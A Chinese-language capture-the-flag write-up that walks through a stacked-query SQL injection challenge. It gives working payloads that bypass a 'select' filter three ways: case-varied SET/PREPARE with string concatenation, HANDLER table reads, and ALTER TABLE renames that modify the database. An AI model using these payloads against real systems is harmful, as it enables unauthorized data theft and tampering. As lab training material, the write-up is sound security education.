0x01
拿到题目后,发现是单引号报错字符型注入
order by 2的时候页面正常回显,order by 3的时候页面出错,所以我们知道只有两个字段。
接下来union联合查询,发现select被过滤了
所以我们需要绕过select的过滤,下面有几种方法
0x02
堆叠查询+预编译
我们发现这里可以执行多sql语句,所以我们可以采用堆叠查询,那我们查询表名,结果如下:
查询表名中的列名,结果如下:
所以我们找到flag在第一个表中,那么接下来我们要查看flag中的内容,但是这里select被过滤了,所以我们必须得绕过这个过滤,怎么绕过呢?我们可以采用预编译的方式进行绕过
-1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#
但是当我们执行预编译语句的时候出现下图结果:
所以这里还同时过滤了set和prepare,那我们同时也要绕过它,如何绕过,我们可以采用大小写的形式进行绕过(经尝试,双写无法绕过)
1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @sql;EXECUTE aaa;#
结果如图:
到这里,拿到flag
0x03
handler查询
mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
handler可以用于MyISAM和InnoDB表。
使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果。
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
上面payload是两个语句,一个是打开表,一个是读表中的第一行字段中的内容
执行结果如下:
0x04
这里看到别人分享的一个解题思路,感觉姿势挺独特,介绍一下
修改表名和列名
我们知道,这里面一共有两个表,所以我们看一下第二个表
有如下列,其中有一个列就是data列我们是可以进行查询,爆出内容的,所以我们可以利用数据库修改表名和列名的方法,将我们要查询的表名改成第二个,就可以查询出我们想要的内容了
1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
介绍一下这几句:
alter table words rename to aaaa;先把原来的words表名字改成别的,这个随便
alter table 1919810931114514
rename to words;将表1919810931114514的名字改为words
alter table words change flag id varchar(100);将改完名字后的表中的flag改为id,字符串尽量长点吧
然后我们用1' or 1=1 --+直接就能得到正确结果
0x05
总结:
这几个方法中,感觉最快的就是handler了,这个方法我之前也是没有碰到过,通过这次做题,也是了解到这个查询语句的存在和用法。